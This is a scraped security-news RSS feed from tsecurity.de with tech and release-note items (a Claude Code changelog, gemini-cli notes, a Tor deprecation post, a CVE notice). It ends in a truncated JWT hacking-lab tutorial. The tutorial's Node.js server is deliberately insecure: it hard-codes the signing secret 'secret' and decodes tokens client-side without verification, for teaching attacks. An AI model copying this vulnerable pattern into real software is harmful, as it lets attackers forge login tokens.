<pubDate>Thu, 23 Jul 2026 02:35:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Carl Merriam has designed some of my favorite nostalgia-inducing Lego sets, including the Lego Nintendo Game Boy and Piranha Plant. He's assisted on the incredible Lion Knights' Castle, Galaxy Explorer, and Pirates of Barracuda Bay. Now, he's helped the company create a Donkey Kong arcade machine set that managed to win even Mario creator Shigeru […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Brydge ProDock Trio review: An elite space-saving MacBook dock]]></title>
<description><![CDATA[The Brydge ProDock Trio is a rarity amongst Thunderbolt docks, offering a compact vertical MacBook stand alongside a MagSafe phone charger.Brydge ProDock Trio review: Sitting on my desk and freeing spaceAll USB-C and Thunderbolt docks I've tested have been largely the same as boxes that connect w...]]></description>
<link>https://tsecurity.de/de/3687803/ios-mac-os/brydge-prodock-trio-review-an-elite-space-saving-macbook-dock/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687803/ios-mac-os/brydge-prodock-trio-review-an-elite-space-saving-macbook-dock/</guid>
<pubDate>Thu, 23 Jul 2026 02:12:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Brydge ProDock Trio is a rarity amongst Thunderbolt docks, offering a compact vertical MacBook stand alongside a <a href="https://appleinsider.com/inside/magsafe" title="MagSafe" data-kpt="1">MagSafe</a> phone charger.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68297-143984-Brydge-ProDock-on-Desk-xl.jpg" alt="Minimalist desk setup with a black vertical laptop stand, smartphone, small potted plant, camera lens-shaped cup, and a white trackpad on a gray desk mat against a soft blue background" height="738"><br><span>Brydge ProDock Trio review: Sitting on my desk and freeing space</span></div><br>All USB-C and Thunderbolt docks I've tested have been largely the same as boxes that connect with a bundled cable. They have different ports and different technical specs.<br><br>Brydge goes a different route, opting for a new version of its vertical ProDock. Your <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a> is physically docked in the device, working in clamshell mode and keeping your desk free and open.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/brydge-prodock-trio-review-an-elite-space-saving-macbook-dock?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245030?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-63265 | Regular Labs Advanced Module Manager AJAX Endpoints cross-site request forgery (EUVD-2026-47814)]]></title>
<description><![CDATA[A vulnerability was found in Regular Labs Advanced Module Manager, Articles Anywhere, Articles Field, Better Frontend Link, Cache Cleaner, CDN for Joomla, Conditional Content, Content Templater, DB Replacer, Email Protector, Extension Manager, GeoIP, IP Login, Keyboard Shortcuts, Modals, Modules ...]]></description>
<link>https://tsecurity.de/de/3687704/sicherheitsluecken/cve-2026-63265-regular-labs-advanced-module-manager-ajax-endpoints-cross-site-request-forgery-euvd-2026-47814/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687704/sicherheitsluecken/cve-2026-63265-regular-labs-advanced-module-manager-ajax-endpoints-cross-site-request-forgery-euvd-2026-47814/</guid>
<pubDate>Thu, 23 Jul 2026 00:20:10 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/regular_labs:advanced_module_manager">Regular Labs Advanced Module Manager, Articles Anywhere, Articles Field, Better Frontend Link, Cache Cleaner, CDN for Joomla, Conditional Content, Content Templater, DB Replacer, Email Protector, Extension Manager, GeoIP, IP Login, Keyboard Shortcuts, Modals, Modules Anywhere, Quick Index, ReReplacer, Snippets, Sourcerer, Tooltips, Users Anywhere and What? Nothing!</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. Impacted is an unknown function of the component <em>AJAX Endpoints</em>. Performing a manipulation results in cross-site request forgery.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-63265">CVE-2026-63265</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.218]]></title>
<description><![CDATA[What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U,...]]></description>
<link>https://tsecurity.de/de/3687638/downloads/v21218/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687638/downloads/v21218/</guid>
<pubDate>Wed, 22 Jul 2026 23:32:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>/code-review</code> to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target</li>
<li>Added screen-reader announcements of deleted text for word and line deletions (<code>Option+Delete</code>, <code>Ctrl+W</code>, <code>Cmd+Backspace</code>, <code>Ctrl+U</code>, <code>Ctrl+K</code>) in <code>--ax-screen-reader</code> mode</li>
<li>Fixed Windows paths with <code>\u</code>-prefixed segments (like <code>C:\Users\unicorn</code>) being corrupted into CJK characters in tool inputs, which made those files inaccessible</li>
<li>Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed multi-line paste collapsing into one line with <code>j</code> in place of newlines in terminals that encode pasted newlines as Ctrl+J</li>
<li>Fixed <code>/context</code> reporting stale pre-compact token usage after compacting from the message picker</li>
<li>Fixed <code>/ultrareview</code> failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings</li>
<li>Fixed <code>/code-review ultra</code> silently running a local review in non-interactive sessions — it now launches the cloud review</li>
<li>Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates</li>
<li>Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped</li>
<li>Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected</li>
<li>Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired <code>tool_use</code> block left in the transcript when a tool aborted mid-response</li>
<li>Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in <code>--ax-screen-reader</code> mode</li>
<li>Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation</li>
<li>Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees</li>
<li>Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR</li>
<li>Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks</li>
<li>Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock</li>
<li>Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai</li>
<li>Fixed prompt history entries being dropped or duplicated when history writes raced or failed</li>
<li>Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; <code>Ctrl+B</code> backgrounding now applies the same background-shell caps as other paths</li>
<li>Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust</li>
<li>Fixed fork-session lineage being lost after compaction in headless and SDK sessions</li>
<li>Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment</li>
<li>Improved <code>/ultrareview</code> error feedback so Claude can correct an invalid argument instead of retrying it unchanged</li>
<li>Improved auto mode: the dangerous-rm, background-<code>&amp;</code>, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead</li>
<li>Improved sandbox command restrictions for IDE interactions</li>
<li>Improved trust dialogs to name the repository root the grant covers</li>
<li>Changed <code>/deep-research</code> to start only when invoked manually; Claude no longer launches it on its own</li>
<li>Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead</li>
<li>Added an announcement when fast mode changes as a result of switching models via <code>/config model=&lt;x&gt;</code> or Remote Control</li>
<li>Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt</li>
<li>Changed agent markdown files to reject agent names containing <code>:</code>, which is reserved for plugin namespacing</li>
<li>Changed skills with <code>context: fork</code> to run in the background by default; opt out per skill with <code>background: false</code></li>
<li>Added <code>yes</code>/<code>no</code>/<code>on</code>/<code>off</code>/<code>1</code>/<code>0</code> (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside <code>true</code>/<code>false</code></li>
<li>Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0]]></title>
<description><![CDATA[What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @cha...]]></description>
<link>https://tsecurity.de/de/3687569/downloads/release-v0520/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687569/downloads/release-v0520/</guid>
<pubDate>Wed, 22 Jul 2026 22:53:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Refactor: exclude transient CI configuration files from workspace context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771753114" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28216" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28216/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28216">#28216</a></li>
<li>feat(caretaker-triage): add triage worker core foundational modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753861958" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28163" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28163/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28163">#28163</a></li>
<li>feat(caretaker-egress): implement octokit github action handler for egress service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830419267" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28303">#28303</a></li>
<li>chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840274631" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28323" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28323/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28323">#28323</a></li>
<li>Changelog for v0.51.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839873704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28320" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28320/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28320">#28320</a></li>
<li>Changelog for v0.50.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840167585" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28322" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28322/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28322">#28322</a></li>
<li>fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780686006" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28223" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28223/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28223">#28223</a></li>
<li>fix(core): use unambiguous previous intent label in fallback summary by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848950194" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28343" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28343/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28343">#28343</a></li>
<li>feat(caretaker-triage): implement main worker execution loop and egress action publisher by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832842460" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28306" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28306/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28306">#28306</a></li>
<li>fix(privacy): show a clear message when the account has no Code Assist tier by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830501064" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28304" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28304/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28304">#28304</a></li>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.51.0...v0.52.0"><tt>v0.51.0...v0.52.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sunsetting Tor 0.4.8 – Please update to 0.4.9 by September]]></title>
<description><![CDATA[Hello Tor Community!
As you know, different teams inside the Tor Project are working on the Arti
Relay project where we hope to be able to begin the upgrade of the network
towards our Rust implementation of Tor in the near future. To support this
work, we would like to announce that we intend to ...]]></description>
<link>https://tsecurity.de/de/3687542/it-security-tools/sunsetting-tor-048-please-update-to-049-by-september/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687542/it-security-tools/sunsetting-tor-048-please-update-to-049-by-september/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:49 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/static/images/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/static/images/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/static/images/lead.png">
    </picture>
    <div class="body"><p>Hello Tor Community!</p>
<p>As you know, different teams inside the Tor Project are working on the Arti
Relay project where we hope to be able to begin the upgrade of the network
towards our Rust implementation of Tor in the near future. To support this
work, we would like to announce that we intend to actively stop compatibility
for 0.4.8 and earlier C Tor versions soon. This means that these versions will
<em>no longer work on the network at all</em> after our target date, which is
currently September 1st, 2026.</p>
<p>If you’re a Tor Browser user running an up-to-date version of Tor Browser, this
won't impact you. If you're running an older, perhaps not-so-well-maintained,
Onion Service somewhere, or you’re building an app that integrates C Tor, you
may want to read along here.</p>
<p><a href="https://gitlab.torproject.org/tpo/core/team/-/wikis/NetworkTeam/CoreTorReleases#list-of-releases">Tor 0.4.8 reached End of Life on the 1st of
June</a>,
and there will not be any more updates to this release series. We highly
encourage people to upgrade to the Tor 0.4.9 series (or later).</p>
<p>Usually, we try not to break existing releases, even if they are unsupported,
unless we have a pretty good reason. In this case, we have several reasons.
With the work towards Arti on both the client and relay, the Network Team has
identified a couple of features we would like to remove from the Tor ecosystem.
Removing support for 0.4.8 will help us facilitate a smooth transition, and reduce effort associated with
difficult to maintain features that provide very little value. Unfortunately,
because Tor’s Directory Protocol layer works the way it does, we cannot remove
these features without affecting older clients.</p>
<p>The most important reason is this: in 0.4.9, we have made some former fields in
our directory data obsolete -- specifically, <a href="https://spec.torproject.org/proposals/350-remove-tap.html">TAP onion
keys</a> and <a href="https://spec.torproject.org/proposals/321-happy-families.html">family
lines</a>. Removing
these fields will let us save a great deal of client directory bandwidth for
everyone.  This, in turn, will make all Tor clients bootstrap a little faster,
especially those on slow connections. But when we remove these fields, clients
and relays running earlier versions of Tor will no longer work, since they
expect the TAP onion keys to be present. Therefore, in order to deliver
improved performance faster, we need to accelerate the date on which 0.4.8 will
stop working.</p>
<p>The secondary reason for sunsetting 0.4.8: Our Arti directory authority
implementation needs network integration soon, and it will be easier to write
if it doesn’t support deprecated fields.</p>
<p>With this blog post out, we will begin reaching out to the downstreams of Tor
we identified as shipping older versions and try to get them to upgrade. We
appreciate community help here, too. If you identify that your favorite project
that bundles Tor uses an outdated version of Tor, please reach out to them and
(politely!) encourage them to upgrade. We are tracking some of this outreach in
<a href="https://gitlab.torproject.org/tpo/network-health/team/-/work_items/460">network-health/team#460</a>.
If you have a very good reason for needing a longer time with 0.4.8 support
than 1 September 2026, please let us know by leaving a comment on that ticket.</p>
<p>Thank you!</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/tor">
          tor
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Refresh Token Rotation in Node.js: Stopping Token Theft Without Logging Users Out]]></title>
<description><![CDATA[JWT-based authentication is simple to start with and surprisingly hard to get right. The naive setup of a long-lived access token stored in the browser is a security liability. The textbook fixes short-lived access tokens plus a refresh token —…
Read more →
The post Refresh Token Rotation in Node...]]></description>
<link>https://tsecurity.de/de/3687406/it-security-nachrichten/refresh-token-rotation-in-nodejs-stopping-token-theft-without-logging-users-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687406/it-security-nachrichten/refresh-token-rotation-in-nodejs-stopping-token-theft-without-logging-users-out/</guid>
<pubDate>Wed, 22 Jul 2026 21:08:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JWT-based authentication is simple to start with and surprisingly hard to get right. The naive setup of a long-lived access token stored in the browser is a security liability. The textbook fixes short-lived access tokens plus a refresh token —…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/refresh-token-rotation-in-node-js-stopping-token-theft-without-logging-users-out/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/refresh-token-rotation-in-node-js-stopping-token-theft-without-logging-users-out/">Refresh Token Rotation in Node.js: Stopping Token Theft Without Logging Users Out</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    